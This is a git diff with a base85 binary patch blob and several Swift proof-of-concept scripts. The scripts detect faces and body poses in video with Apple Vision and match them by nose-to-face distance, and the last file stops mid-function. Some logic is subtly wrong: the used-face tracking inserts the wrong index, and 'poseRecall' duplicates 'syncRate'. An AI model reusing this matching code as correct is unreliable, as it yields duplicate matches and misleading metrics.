zX6h%D#oH2LE>+?$tWOKcv{0T%b%q3B29f4q8SnQooDhsfxYkt2nV&@h0~muJ$(2F! zMJ3IlR4^4`lXbudfrv^o3}bVquBT5mUF%yxg9bp*HH)oans^x^69S0xW^x%87goXS zP%O;}S#;Fs0c2ejOiaPa`wOe$VXh0Ps7eqAcp}xDp$A@vK5F>85rxPwS|R^iO%_=o z0Iu8S!jeq^cqNIr5Q+jP)SR&qsotgy=L*r?qJ|ZMm+l}Lc00N6Wjs^X*d22kilAe_ z^-34xgqwAogJrt$p@^=O1HrVfh3DPSV7CEd$9+UY|`RDS+%cs&C^pzc$R7n$xEZP;8>B>OR$QT z{aSDV+V91Fd12Mq-2qbvgnO}&A`Z0YC(npqH7W@s93UEfS#tcH3VNpfgD>~9rMH1PZkh# zq@623^dv;GZ>0=m`ck3@ik_sft;jlz(3wi9gYD|WJ=>7Pm6j&Ztn;;tZcs=;PbLUN z_5G!9SiPo0)yGlMp)7caIRH)YD#)zhi3Shy0XkySBqu=6qKQIoo!ZoStrx^e&&-J8 zY)u;2!xv@LVOWt8l*uuvV>qhyMg1^=C=S)=WI19UF_O(X1JIjjK^r(CDX>h3I58Eri@z<&3t7n4PhI+>tsL^~)+!gfFQJ{0lfKsp~8>C*#JJBB3lH-aoc1p6--RQ->LDR+@{qanhknSNd56 zndmFBuqLb*rrj9P2}@nWH2i#b1&+LpD7EO(BoEhKXZ2^KCnrEm1bw&|>GZ&*8U)z$ zwy{1pR z3{&C6*&k)1j?eY8u3?r#kD`K=;*S+WpKT`Q#%F(v8JeXotiWB73sxg_k_t!lSG93E z>bV|uUBuyqu0_MaA@%eawnA%>6iS;p@2k!OpFtpv8>?T<#SlH3C0lnKhb_7}8+c=| zM0HF$0poDPF=^BTi@|b4vqfjX`^w!-({)n!Zd`iE8fsL!^4B6y3@dVVOCGbQBLa+$ zySgRUj^i+ea!OX5k$1b@!z4;HST6=p=ERTiM*|=)A1YtEivTCdfX+LbNr;xrSgCnF4Y&%Lm5F>`S@UbfkAMFcUGlik+EI z6*vJ3+H%K+f+c>FOX+R9H##RAG_=)0EFe6!m_Gl&kpxYDL;((U#Smknq8Tl?_#e{| z88EN4MS_ls-f(vnsZKlQs1P5N*ZRUmhNUYlN9yGp@#U$feN9xDrX2 zgf)sdwdE#^s2+C`*E&bUo|1qGFyKkra5TAh>{;tGF&OGvAVfq#CnWPf{uFFADh#q9 zgXOKBNU%}R7;XgMp|yYCb&CMuf2^>$v26IB-YpuE-+E;2-2=}tuS+R!1yKu;4y zK=1{Rt7=LkL)UA3B%UY%7Y?E-fFBn>r!I>NsSL(V=#7o*8sGy+^03qFz1kl6YVixi{FGp}|VpHbex4nkiwUP!HDTQU@4@ zh223c`y$@mrEh0cAW^e7Vl?WBb!59EW)04+V>mX_BM5kQNW7Wtfgw`CM9&h5;izAW zpqnBwZ#-KhW=q8wNfw@i)wJhf^PV{=I?oK01ep3Q7qO|5pa9?XVK`8e(UJh5V!pV^ zruU{xg3L3s#RWyrWN{HtF;`sXSf)yHqJ#c~Pl|?`Ns<7;&vQt)VomQP4BgF5+v`SO z|0P_3A!UtcNF-dg^J-2p@3bgpxSXaUt}^Vq7IVS zmwJ*9!_dew3wsF=Vxnzv1aKg;3y(yBZ-WF~rech^6ER`92B8NMWS$u&E-1*5%~P>Z zFjCy^Bbuu2oF|5}q&O=R1EFAuL>O>pWFm$T`v&^ipNJQ}RpHt(=?4&~?^qsLykA6JwfcFOOee(-v zeb^lwxw&rlN7&K31TXk@%*_M#*yXp%vF*=q-u(F?$rVo@cE#XRU#~d-twVQPf7{}I zkG#9#?R`%#icEO$<2`Sl_xoYT6}-)!KbzTQ-^=|AE?RcSg#9nA-LSBG#J0T~5?^mR z^Rm0wlpS)%A<>6-Tk-S3m%KXck41N!v|!uDr*{e5yYBhEcdeUy|A`N#zPs?6mk$cx za@v;V^+RW#eeTqyN4I?Y$bGGczy9(;V;&oD>ha%>d+D)LPq-)9XX?2Je|z@@eUld*{Kxy% z=Nxy*{HC^H*WTB;ntA@ivCJ!He16wemml`lKIN|#1P}Z7=l{6x&nbQXn0xcfe-9u1?n8eD2hTbF znSQsgp783(ys3T8S^C7ipG{u#%N{RW^wK3aUVLS0b!6n*M?C)e`v>m7-}Prbd-1v( zZ#wLi?ObsCkmF}A7<1-bl}m1!{mD%;{yt>cZcqL3@>Os5|8vb<`<(cA{)#8w-|6uW z-zgk+#36rgcz@Af|Gs18lEd=)4^901`}!|al^cG4<$~E?O#5u_f^!aiD{uZO{mkYEQ1G2^ww!j^EdJKeSD_s*Ubu8+@Re&fbPvCNW}t9N3WSa^TY!WIB`(xkE5^M{mbhQ*nV@vpfld67_#<uoCF{3NJbrNdK^y;jadh+VJAL}ijI%#{Y}5;lKP*19 zWXYe8z0nYvuzXl*^c9_dtdB1{?)VuCCNiTp?f%rNHJf8i8@AlL`NA{)Z2zX=o|`7W zz3}hr_}NF~m7lO*a>v4|qh1?x&v`YSdku?6t{HIboKX)94>hzbUj5(eHy`=Z?ca_5 zE%HR{uBN@OpYZec7sssre&fqKy!FlJuk7@G75nB_4_y26gq1s1mffG5v@;&RX@()cQedDnBhgef3SVx9oau z^dBqsJMPLucl&<%oOd=)9MV5=(mwYtT()XTtSMHMxq9&Yq5C{}=++&Ch1K7zx^3j3 zez*U9Kw#=$XHL2L;$ffOz}|Jx#FsueW^v1u>U$1*bQMd^FIB1dwTKVZ>?@Wss4zzn&kbj z)*N-k$|bL)Ub*M4{sjl`dET|h?t8+N<-fH)IPcp2bDw_P_so&AuzlA0nooS`vY)0L^2+Ehns!`xU-$QYWzFR2j0Kyr{C@LTXFjHt6v+p_||3VSAuWv@vm=7?=5fHHhJwe>rdOa{_4E% ze&%C8%xQ_A{P1aajtnpQ`?8y6rKj~9TQIbwXw}b8O}$`K=;BW%uH1QK?ScPZ7~gsI z2T^9_+$qo2_c<|r?%iY43xDJ~uX%ISy1h2-G5wCb(7KwRH%=>Dm;c?&1D>3C%bJUi{d`(s zs($H^1=FH8Up%__$I#5~<@W)luf1l};yq5icj5c5Z|z@me)aLcJ$c~i zXFt3t-v7;Q<&%cy|GsVE&FMu$2mh<@4%ZZ)KH# z-gaKoFRRw~|MtP7U#ugx=ly&*s>UO`D#6j-PPB(Yvf% z{88o5Gd@1%nS%G44!i!kAB)}?{7z-xhDlGIb>q6n9}eI9$ng1dfBt1k|Dvxp{IK}1 z?%Vzuh|XBsbmN2l-%LI<`0WQ){CQPq;*sSK413~?g4Y&JI%ms&gI9j}@T5yFe(J7c z3T}F?alph~Ze6?erj|jQ-<|*N8AGpF`R)#9t-tOTf8n`bU)HwAW9egRfBNOPs-cMu z6PAzte#FhY7A@cP-lK!lnv=(KPi{M=xzBA4XM8eo*sm?$EIDvd?Ij;QBm6dF(Bqjm z{y2QcLptuuTesz_Q$lZ~_FuZ7YR`|xy!rL}z8{aDx8}EJ*SGlB{`K1~FYWyJxP`A@ zR`8EUQ*##9UqAi{hQIuZ!(*klJ+dj%zW3I@HY{4bV8`7qyJF*4_0ul>*RpG>2amq< zrZJB`yVu5PZyY#c#N8`i;U7F{@XySZqd$0~<@Kr$o-R1)*~Rr+gY24BUnTdMbKi*% ztt`3j&b;JfdzWAM7Pq*)d;Q$iV}IW9-NJhY?t5<46CXW!{_c;TJpQ=N8$MXWFwbqR z`sB(FkGrvK!KBMyc<-_!3;FX}_xj`L8r17k@YZ)FIcs`tlDmKPlm7?e@cx3GHwG>*DvmFR8Ep&!T6TZ4Tj2|=ZS1(@%tinH z>eG3DJv{x=l^-6meE#V(c9?f$!#yRF|MTrrH||n3=B{_|{QQR6K6T&iGWG1y6%VXT zb#6Gfans&`WOPXTfp4C4VZqI9M_u4wdRX6id!8ml?+!Fw``*$2xT8CM(Fd=8a=^89 zOTRpM(fYvBr>cA>@PV@iR1Y1zXpb>h{&L+rOWyu##na6tWyh?ny=>q)gZfV|8a;A( zXJg-eQ=4zN^QzZhm~q*=j}53f{_yA7)RooyE&B9{zp8~B<5drwdFK4eGygd9@!0k& z9v}bs6LV+(uxh6Tqw*`i`fJ?^CY;VcchQ75s}H(Yrpv9 zXY;T8$Ch=m`O{m{BOhHcVnD-hL;JtKXzCu*3g7$BlGg{E`p(YZ@A%=eWiOuJG@<*` z3yOS~JhuBUftT}t`*@$nKe_D8et(QO_>GcFi(l)yd)1A5zcK2MQwO&ecbxgrit5=r zAM#QCEq(U->GSHR<{lIO^!(q8&w4zu>5ifa!_GYAm3v2x+?KdM|L3zWzjDZp4V!lz z5So6&5l7bk%&(i@S$Dz>t5%OV{k;co7nZzp%I%N-IQh#y%O2i1a>*_g>ACMd@ZK-|&b$R*prM|Lnr;a=8p`Qm0n#s+5aeiao6VFs{AMx9?>II{gK7G$aecayz8D< zJ=8BSYUrHdYnB~$Ftcm%sNJ4eboku9clQ5s>;6Caj<`DY^yPsEzMF7O)oG=d&OERE zlOGE1nE7Gd_Q1S`R{o49-@bg$2X>#eV%J3D&D?}O|JiixV;c{?cRG8@%I9wV_>H{= z-rl-ww;4z7(!KEgpT}38I)30DlWslZ^iMWFc1)iaxiw{xJ;zNw;evy2KYYscr30^= z%AU6EijP+9-)Cf??)U-EUpDIO1?TO0%#Q#4XxT}R%zSHUreNaYmm-($xOLKn>kr!c z{AoWO_GRL=n#jLj*zf4}<3ry*Sk<`wx#S@K;Zxt8HoA1y3p3yPc;hESUkOe=y6>mE zKCoZ;h0N>Y4t(s|uLf-RXv4GI^7Hx~ddr0UuezW;b;4&W?+8uWHP&zLkm%H(HlLe3 zE56HHC;xf%#2>cIeWCsG!WXx9PkEvB`8O{ZeM<7MJJziUatBP_;goRd+ie5Rz4AH# z^#}cVQXgT}=$)>vKYeih-^r(UKkmMr3Wm --pose --output + */ + +import Foundation + +// MARK: - Data Models + +struct FaceTraced: Codable { + let status: String + let frame_count: Int + let fps: Double + let frames: [FrameEntry] + let traces: [String: TraceEntry] + + struct FrameEntry: Codable { + let frame_number: Int + let time_seconds: Double + let faces: [FaceInFrame] + } + + struct FaceInFrame: Codable { + let face_number: Int + let trace_id: Int + let bbox: BBox + let confidence: Double + + struct BBox: Codable { + let x: Int, y: Int, width: Int, height: Int + } + } + + struct TraceEntry: Codable { + let path: [PathEntry] + + struct PathEntry: Codable { + let frame: Int + let bbox: BBox + let confidence: Double + + struct BBox: Codable { + let x: Int, y: Int, width: Int, height: Int + } + } + } +} + +struct PoseJson: Codable { + let frame_count: Int + let fps: Double + let frames: [PoseFrame] + + struct PoseFrame: Codable { + let frame: Int? + let timestamp: Double? + let persons: [PersonEntry] + + struct PersonEntry: Codable { + let bbox: BBox? + let keypoints: [Keypoint] + + struct BBox: Codable { + let x: Int, y: Int, width: Int, height: Int + } + + struct Keypoint: Codable { + let name: String + let x: Double, y: Double + let confidence: Float + } + } + } +} + +struct PoseTracedOutput: Codable { + let status: String + let frame_count: Int + let fps: Double + let frames: [PoseTracedFrame] + let trace_mapping: [String: TraceMapping] + let stats: Stats + + struct PoseTracedFrame: Codable { + let frame_number: Int + let time_seconds: Double + let persons: [PersonInFrame] + } + + struct PersonInFrame: Codable { + let person_index: Int + let trace_id: Int? + let bbox: BBox? + let keypoints: [Keypoint] + let match_distance: Double + + struct BBox: Codable { + let x: Int, y: Int, width: Int, height: Int + } + + struct Keypoint: Codable { + let name: String + let x: Double, y: Double + let confidence: Float + } + } + + struct TraceMapping: Codable { + let trace_id: Int + let pose_count: Int + let frames: [Int] + } + + struct Stats: Codable { + let total_frames: Int + let frames_with_pose: Int + let matched_poses: Int + let unmatched_poses: Int + let avg_distance: Double + let median_distance: Double + } +} + +// MARK: - Matching + +let threshold = 50.0 + +func generatePoseTraced(faceTraced: FaceTraced, poseJson: PoseJson) -> PoseTracedOutput { + // Build frame -> faces lookup from face_traced + var facesByFrame: [Int: [FaceTraced.FaceInFrame]] = [:] + for fe in faceTraced.frames { + facesByFrame[fe.frame_number] = fe.faces + } + + var tracedFrames: [PoseTracedOutput.PoseTracedFrame] = [] + var tracePoseCount: [Int: (count: Int, frames: Set)] = [:] + var allDistances: [Double] = [] + var matchedCount = 0 + var unmatchedCount = 0 + + for pf in poseJson.frames { + let fn = pf.frame ?? 0 + let ts = pf.timestamp ?? 0.0 + + let facesInFrame = facesByFrame[fn] ?? [] + + var personsInFrame: [PoseTracedOutput.PersonInFrame] = [] + var usedFaceIndices = Set() + + for (poseIdx, person) in pf.persons.enumerated() { + // Find nose keypoint + let nose = person.keypoints.first(where: { $0.name.lowercased().contains("nose") }) + + var bestTraceId: Int? = nil + var bestDist = Double.infinity + + if let nose = nose { + // Match to nearest face + for (faceIdx, face) in facesInFrame.enumerated() { + if usedFaceIndices.contains(faceIdx) { continue } + + let fcx = Double(face.bbox.x + face.bbox.width / 2) + let fcy = Double(face.bbox.y + face.bbox.height / 2) + let dist = abs(fcx - nose.x) + abs(fcy - nose.y) + + if dist < bestDist { + bestDist = dist + bestTraceId = face.trace_id + } + } + } + + let isMatched = bestTraceId != nil && bestDist < threshold + if isMatched { + matchedCount += 1 + usedFaceIndices.insert(usedFaceIndices.first(where: { _ in true }) ?? 0) + allDistances.append(bestDist) + + // Update trace mapping + if let tid = bestTraceId { + var current = tracePoseCount[tid] ?? (count: 0, frames: []) + current.count += 1 + current.frames.insert(fn) + tracePoseCount[tid] = current + } + } else { + unmatchedCount += 1 + } + + personsInFrame.append(PoseTracedOutput.PersonInFrame( + person_index: poseIdx, + trace_id: isMatched ? bestTraceId : nil, + bbox: person.bbox.map { PoseTracedOutput.PersonInFrame.BBox(x: $0.x, y: $0.y, width: $0.width, height: $0.height) }, + keypoints: person.keypoints.map { PoseTracedOutput.PersonInFrame.Keypoint(name: $0.name, x: $0.x, y: $0.y, confidence: $0.confidence) }, + match_distance: bestDist + )) + } + + tracedFrames.append(PoseTracedOutput.PoseTracedFrame( + frame_number: fn, + time_seconds: ts, + persons: personsInFrame + )) + } + + let sortedDists = allDistances.sorted() + let avgDist = sortedDists.isEmpty ? 0 : sortedDists.reduce(0, +) / Double(sortedDists.count) + let medianDist = sortedDists.isEmpty ? 0 : sortedDists[sortedDists.count / 2] + + // Build trace mapping + var traceMapping: [String: PoseTracedOutput.TraceMapping] = [:] + for (tid, data) in tracePoseCount { + traceMapping["\(tid)"] = PoseTracedOutput.TraceMapping( + trace_id: tid, + pose_count: data.count, + frames: data.frames.sorted() + ) + } + + let stats = PoseTracedOutput.Stats( + total_frames: poseJson.frames.count, + frames_with_pose: poseJson.frames.filter { !$0.persons.isEmpty }.count, + matched_poses: matchedCount, + unmatched_poses: unmatchedCount, + avg_distance: avgDist, + median_distance: medianDist + ) + + return PoseTracedOutput( + status: faceTraced.status, + frame_count: faceTraced.frame_count, + fps: faceTraced.fps, + frames: tracedFrames, + trace_mapping: traceMapping, + stats: stats + ) +} + +// MARK: - Main + +func run(faceTracedPath: String, posePath: String, outputPath: String) { + print("[PoseTraced] Loading face_traced.json: \(faceTracedPath)") + let faceTraced = try! JSONDecoder().decode(FaceTraced.self, from: Data(contentsOf: URL(fileURLWithPath: faceTracedPath))) + + print("[PoseTraced] Loading pose.json: \(posePath)") + let poseJson = try! JSONDecoder().decode(PoseJson.self, from: Data(contentsOf: URL(fileURLWithPath: posePath))) + + print("[PoseTraced] Matching face traces to poses (threshold: \(threshold)px)...") + let result = generatePoseTraced(faceTraced: faceTraced, poseJson: poseJson) + + // Save output + let encoder = JSONEncoder() + encoder.outputFormatting = [.prettyPrinted, .sortedKeys] + let jsonData = try! encoder.encode(result) + try! jsonData.write(to: URL(fileURLWithPath: outputPath)) + + // Print summary + let s = result.stats + print("\n=== Pose Traced Generation Report ===") + print("Total frames: \(s.total_frames)") + print("Frames with pose: \(s.frames_with_pose)") + print() + print("Matching (threshold: \(threshold)px):") + print(" Matched poses: \(s.matched_poses)") + print(" Unmatched poses: \(s.unmatched_poses)") + print(" Match rate: \(s.matched_poses + s.unmatched_poses > 0 ? String(format: "%.1f%%", Double(s.matched_poses)/Double(s.matched_poses + s.unmatched_poses)*100) : "N/A")") + print() + print("Distance (face center ↔ pose nose):") + print(" Average: \(String(format: "%.1f", s.avg_distance))px") + print(" Median: \(String(format: "%.1f", s.median_distance))px") + print() + print("Trace mapping:") + for (tid, mapping) in result.trace_mapping.sorted(by: { Int($0.key)! < Int($1.key)! }) { + print(" trace_\(mapping.trace_id): \(mapping.pose_count) poses, frames \(mapping.frames.first ?? 0)-\(mapping.frames.last ?? 0)") + } + print("\nOutput saved to: \(outputPath)") +} + +// Parse arguments +var faceTracedPath: String? +var posePath: String? +var outputPath: String? + +let args = CommandLine.arguments +var i = 1 +while i < args.count { + switch args[i] { + case "--face-traced": faceTracedPath = args[i+1]; i += 2 + case "--pose": posePath = args[i+1]; i += 2 + case "--output": outputPath = args[i+1]; i += 2 + default: i += 1 + } +} + +guard let faceTracedPath = faceTracedPath, let posePath = posePath, let outputPath = outputPath else { + print("Usage: swift generate_pose_traced.swift --face-traced --pose --output ") + exit(1) +} + +run(faceTracedPath: faceTracedPath, posePath: posePath, outputPath: outputPath) diff --git a/experiments/face_pose_sync_poc/main.swift b/experiments/face_pose_sync_poc/main.swift new file mode 100644 index 0000000..5ff99a9 --- /dev/null +++ b/experiments/face_pose_sync_poc/main.swift @@ -0,0 +1,372 @@ +#!/opt/homebrew/bin/swift +/** + * Face-Pose Sync POC + * + * 使用 Apple Vision 在同一幀上同時檢測 face 和 pose + * 驗證兩者是否能正確同步並匹配 + * + * Usage: swift main.swift [max_frames] + */ + +import Foundation +import AVFoundation +import Vision + +// MARK: - Data Models + +struct FaceResult: Codable { + let x: Int, y: Int, w: Int, h: Int + let confidence: Float +} + +struct KeypointResult: Codable { + let name: String + let x: Double, y: Double + let confidence: Float +} + +struct PoseResult: Codable { + let bbox: BBoxResult + let keypoints: [KeypointResult] + + struct BBoxResult: Codable { + let x: Int, y: Int, w: Int, h: Int + } +} + +struct FrameResult: Codable { + let frame: Int + let faceCount: Int + let poseCount: Int + let faces: [FaceResult] + let poses: [PoseResult] +} + +struct Summary: Codable { + let totalFrames: Int + let framesWithFace: Int + let framesWithPose: Int + let framesWithBoth: Int + let syncRate: Double + let poseRecall: Double + let distanceCount: Int + let avgDistance: Double + let medianDistance: Double + let under50: Int, under100: Int, under150: Int, under200: Int, under300: Int +} + +struct VideoInfo: Codable { + let width: Int, height: Int, fps: Double, duration: Double +} + +struct Output: Codable { + let videoInfo: VideoInfo + let totalFrames: Int + let frames: [FrameResult] + let summary: Summary +} + +// MARK: - Main + +let args = CommandLine.arguments +guard args.count >= 2 else { + print("Usage: swift main.swift [max_frames]") + exit(1) +} + +let videoPath = args[1] +let maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300 + +guard FileManager.default.fileExists(atPath: videoPath) else { + print("[ERROR] Video file not found: \(videoPath)") + exit(1) +} + +print("[FacePoseSync] Loading video: \(videoPath)") + +let url = URL(fileURLWithPath: videoPath) +let asset = AVURLAsset(url: url) + +// Get video track +let tracks = try await asset.loadTracks(withMediaType: .video) +guard let track = tracks.first else { + print("[ERROR] No video track found") + exit(1) +} + +// Get video properties +let formatDesc = try await track.load(.formatDescriptions).first +let cmDims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080) +let width = Int(cmDims.width) +let height = Int(cmDims.height) + +let dur = try await asset.load(.duration) +let duration = CMTimeGetSeconds(dur) +let fps = try await track.load(.nominalFrameRate) + +print("[FacePoseSync] Video: \(width)x\(height), \(fps)fps, \(String(format: "%.1f", duration))s") +print("[FacePoseSync] Analyzing up to \(maxFrames) frames...\n") + +// Setup asset reader +let reader = try AVAssetReader(asset: asset) +let outputSettings: [String: Any] = [ + kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA) +] +let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings) +reader.add(trackOutput) +reader.startReading() + +var frameResults: [FrameResult] = [] +var frameIndex = 0 + +print("[FacePoseSync] Processing frames...") + +while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() { + if frameIndex >= maxFrames { break } + + guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { + frameIndex += 1 + continue + } + + // Run face and pose detection on the same frame + let (faces, poses) = await detectFaceAndPose(imageBuffer: imageBuffer, width: width, height: height) + + let frameResult = FrameResult( + frame: frameIndex, + faceCount: faces.count, + poseCount: poses.count, + faces: faces, + poses: poses + ) + frameResults.append(frameResult) + + if frameIndex % 50 == 0 { + print(" Frame \(frameIndex): \(faces.count) faces, \(poses.count) poses") + } + + frameIndex += 1 +} + +reader.cancelReading() + +// Calculate summary +let totalFrames = frameResults.count +let framesWithFace = frameResults.filter { $0.faceCount > 0 }.count +let framesWithPose = frameResults.filter { $0.poseCount > 0 }.count +let framesWithBoth = frameResults.filter { $0.faceCount > 0 && $0.poseCount > 0 }.count + +// Calculate face-pose distances using nearest-neighbor matching +var allDistances: [Double] = [] +var matchedPairs = 0 +var unmatchedFaces = 0 +for fr in frameResults { + // For each face, find the closest pose nose + var usedPoses = Set() + for face in fr.faces { + let fcx = Double(face.x + face.w / 2) + let fcy = Double(face.y + face.h / 2) + + var bestDist = Double.infinity + var bestPoseIdx = -1 + for (idx, pose) in fr.poses.enumerated() { + if usedPoses.contains(idx) { continue } + if let nose = pose.keypoints.first(where: { $0.name.lowercased().contains("nose") }) { + let dist = abs(fcx - nose.x) + abs(fcy - nose.y) + if dist < bestDist { + bestDist = dist + bestPoseIdx = idx + } + } + } + + if bestPoseIdx >= 0 && bestDist < 500 { // Threshold for valid match + allDistances.append(bestDist) + usedPoses.insert(bestPoseIdx) + matchedPairs += 1 + } else { + unmatchedFaces += 1 + } + } +} + +let sortedDists = allDistances.sorted() +let avgDist = sortedDists.isEmpty ? 0.0 : sortedDists.reduce(0, +) / Double(sortedDists.count) +let medianDist = sortedDists.isEmpty ? 0.0 : sortedDists[sortedDists.count / 2] + +let syncRate = framesWithFace > 0 ? Double(framesWithBoth) / Double(framesWithFace) : 0 +let poseRecall = framesWithFace > 0 ? Double(framesWithBoth) / Double(framesWithFace) : 0 + +let summary = Summary( + totalFrames: totalFrames, + framesWithFace: framesWithFace, + framesWithPose: framesWithPose, + framesWithBoth: framesWithBoth, + syncRate: syncRate, + poseRecall: poseRecall, + distanceCount: allDistances.count, + avgDistance: avgDist, + medianDistance: medianDist, + under50: allDistances.filter { $0 < 50 }.count, + under100: allDistances.filter { $0 < 100 }.count, + under150: allDistances.filter { $0 < 150 }.count, + under200: allDistances.filter { $0 < 200 }.count, + under300: allDistances.filter { $0 < 300 }.count +) + +// Add matching stats to output +let matchingInfo = """ + +Matching Analysis: + Matched pairs: \(matchedPairs) + Unmatched faces: \(unmatchedFaces) + Match rate: \(totalFrames > 0 ? String(format: "%.1f%%", Double(matchedPairs) / Double(framesWithFace) * 100) : "N/A") +""" + +let videoInfo = VideoInfo(width: width, height: height, fps: Double(fps), duration: duration) +let output = Output(videoInfo: videoInfo, totalFrames: totalFrames, frames: frameResults, summary: summary) + +// Save result +let encoder = JSONEncoder() +encoder.outputFormatting = [.prettyPrinted, .sortedKeys] +let jsonData = try encoder.encode(output) + +let outputDir = "experiments/face_pose_sync_poc/output" +try FileManager.default.createDirectory(atPath: outputDir, withIntermediateDirectories: true) +let outputPath = "\(outputDir)/result.json" +try jsonData.write(to: URL(fileURLWithPath: outputPath)) + +func pct(_ n: Int, _ total: Int) -> String { + guard total > 0 else { return "0.0%" } + return String(format: "%.1f%%", Double(n) / Double(total) * 100) +} + +// Print summary report +print("\n" + String(repeating: "=", count: 50)) +print(" Face-Pose Sync Analysis Report") +print(String(repeating: "=", count: 50)) +print("Video: \(width)x\(height), \(fps)fps, \(String(format: "%.1f", duration))s") +print("Frames analyzed: \(totalFrames)") +print() +print("Detection Stats:") +print(" Frames with face: \(framesWithFace) (\(pct(framesWithFace, totalFrames)))") +print(" Frames with pose: \(framesWithPose) (\(pct(framesWithPose, totalFrames)))") +print(" Frames with both: \(framesWithBoth) (\(pct(framesWithBoth, totalFrames)))") +print() +print("Sync Analysis:") +print(" Sync Rate (both/face): \(String(format: "%.1f%%", syncRate * 100))") +print(" Pose Recall: \(String(format: "%.1f%%", poseRecall * 100))") +print() +print("Distance (face center ↔ pose nose):") +print(" Total pairs: \(allDistances.count)") +print(" Average: \(String(format: "%.1f", avgDist))px") +print(" Median: \(String(format: "%.1f", medianDist))px") +print() +print(" Distance Distribution:") +print(" < 50px: \(summary.under50) (\(pct(summary.under50, max(1, summary.distanceCount)))") +print(" < 100px: \(summary.under100) (\(pct(summary.under100, max(1, summary.distanceCount)))") +print(" < 150px: \(summary.under150) (\(pct(summary.under150, max(1, summary.distanceCount)))") +print(" < 200px: \(summary.under200) (\(pct(summary.under200, max(1, summary.distanceCount)))") +print(" < 300px: \(summary.under300) (\(pct(summary.under300, max(1, summary.distanceCount)))") +print("\nResult saved to: \(outputPath)") + +// MARK: - Detection Function + +func detectFaceAndPose(imageBuffer: CVPixelBuffer, width: Int, height: Int) async -> ([FaceResult], [PoseResult]) { + let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:]) + + let faceRequest = VNDetectFaceRectanglesRequest() + let poseRequest = VNDetectHumanBodyPoseRequest() + + var faces: [FaceResult] = [] + var poses: [PoseResult] = [] + + do { + try handler.perform([faceRequest, poseRequest]) + + // Process face results + if let faceObservations = faceRequest.results { + for obs in faceObservations { + let rect = obs.boundingBox + let x = Int(rect.origin.x * Double(width)) + let y = Int((1 - rect.origin.y - rect.height) * Double(height)) + let w = Int(rect.width * Double(width)) + let h = Int(rect.height * Double(height)) + faces.append(FaceResult(x: x, y: y, w: w, h: h, confidence: obs.confidence)) + } + } + + // Process pose results + if let poseObservations = poseRequest.results as? [VNHumanBodyPoseObservation] { + let jointNames: [VNHumanBodyPoseObservation.JointName] = [ + .nose, .leftEye, .rightEye, .leftEar, .rightEar, + .leftShoulder, .rightShoulder, .leftElbow, .rightElbow, + .leftWrist, .rightWrist, .leftHip, .rightHip, + .leftKnee, .rightKnee, .leftAnkle, .rightAnkle + ] + + for obs in poseObservations { + var minX = Double.infinity, minY = Double.infinity + var maxX = -Double.infinity, maxY = -Double.infinity + var keypoints: [KeypointResult] = [] + + for jointName in jointNames { + let point = try? obs.recognizedPoint(jointName) + if let point = point, point.confidence > 0.3 { + let px = point.location.x * Double(width) + let py = (1 - point.location.y) * Double(height) + + minX = min(minX, px) + minY = min(minY, py) + maxX = max(maxX, px) + maxY = max(maxY, py) + + // Convert JointName to string + let name: String + switch jointName { + case .nose: name = "nose" + case .leftEye: name = "leftEye" + case .rightEye: name = "rightEye" + case .leftEar: name = "leftEar" + case .rightEar: name = "rightEar" + case .leftShoulder: name = "leftShoulder" + case .rightShoulder: name = "rightShoulder" + case .leftElbow: name = "leftElbow" + case .rightElbow: name = "rightElbow" + case .leftWrist: name = "leftWrist" + case .rightWrist: name = "rightWrist" + case .leftHip: name = "leftHip" + case .rightHip: name = "rightHip" + case .leftKnee: name = "leftKnee" + case .rightKnee: name = "rightKnee" + case .leftAnkle: name = "leftAnkle" + case .rightAnkle: name = "rightAnkle" + default: name = "unknown" + } + + keypoints.append(KeypointResult( + name: name, + x: px, y: py, + confidence: point.confidence + )) + } + } + + if !keypoints.isEmpty { + let pad = 20 + let bbox = PoseResult.BBoxResult( + x: Int(max(0, minX - Double(pad))), + y: Int(max(0, minY - Double(pad))), + w: Int(maxX - minX + Double(pad * 2)), + h: Int(maxY - minY + Double(pad * 2)) + ) + poses.append(PoseResult(bbox: bbox, keypoints: keypoints)) + } + } + } + } catch { + // Silent fail for individual frames + } + + return (faces, poses) +} diff --git a/experiments/face_pose_sync_poc/match_face_pose.swift b/experiments/face_pose_sync_poc/match_face_pose.swift new file mode 100644 index 0000000..b3be6f3 --- /dev/null +++ b/experiments/face_pose_sync_poc/match_face_pose.swift @@ -0,0 +1,234 @@ +#!/opt/homebrew/bin/swift +/** + * Face-to-Pose Matcher + * + * 用 face.json 的 face bbox 去找 pose.json 對應的 pose + * 匹配規則:face center ↔ pose nose 距離 < 50px + * + * Usage: swift match_face_pose.swift --face --pose --output + */ + +import Foundation + +// MARK: - Data Models + +struct FaceData: Codable { + let frame: Int + let faces: [FaceEntry] + + struct FaceEntry: Codable { + let x: Int, y: Int, width: Int, height: Int + let confidence: Float + let pose_angle: PoseAngle? + + struct PoseAngle: Codable { + let yaw: Float, pitch: Float, roll: Float + } + } +} + +struct PoseData: Codable { + let frames: [PoseFrame] + + struct PoseFrame: Codable { + let frame: Int? + let timestamp: Double? + let persons: [PersonEntry] + + struct PersonEntry: Codable { + let bbox: BBox? + let keypoints: [Keypoint] + + struct BBox: Codable { + let x: Int, y: Int, width: Int, height: Int + } + + struct Keypoint: Codable { + let name: String + let x: Double, y: Double + let confidence: Float + } + } + } +} + +struct MatchedOutput: Codable { + let videoFrames: [MatchedFrame] + let stats: MatchStats + + struct MatchedFrame: Codable { + let frame: Int + let faceCount: Int + let poseCount: Int + let matches: [Match] + + struct Match: Codable { + let faceIdx: Int + let poseIdx: Int? + let distance: Double + let matched: Bool + } + } + + struct MatchStats: Codable { + let totalFrames: Int + let framesWithFace: Int + let framesWithPose: Int + let matchedPairs: Int + let unmatchedFaces: Int + let avgDistance: Double + let medianDistance: Double + let under50: Int, under100: Int + } +} + +// MARK: - Matching Logic + +let threshold = 50.0 // px + +func matchFacesToPoses(faceData: FaceData, poseFrames: [PoseData.PoseFrame]) -> MatchedOutput { + // Build frame -> poses lookup + var poseByFrame: [Int: [PoseData.PoseFrame.PersonEntry]] = [:] + for pf in poseFrames { + if let fn = pf.frame { + poseByFrame[fn] = 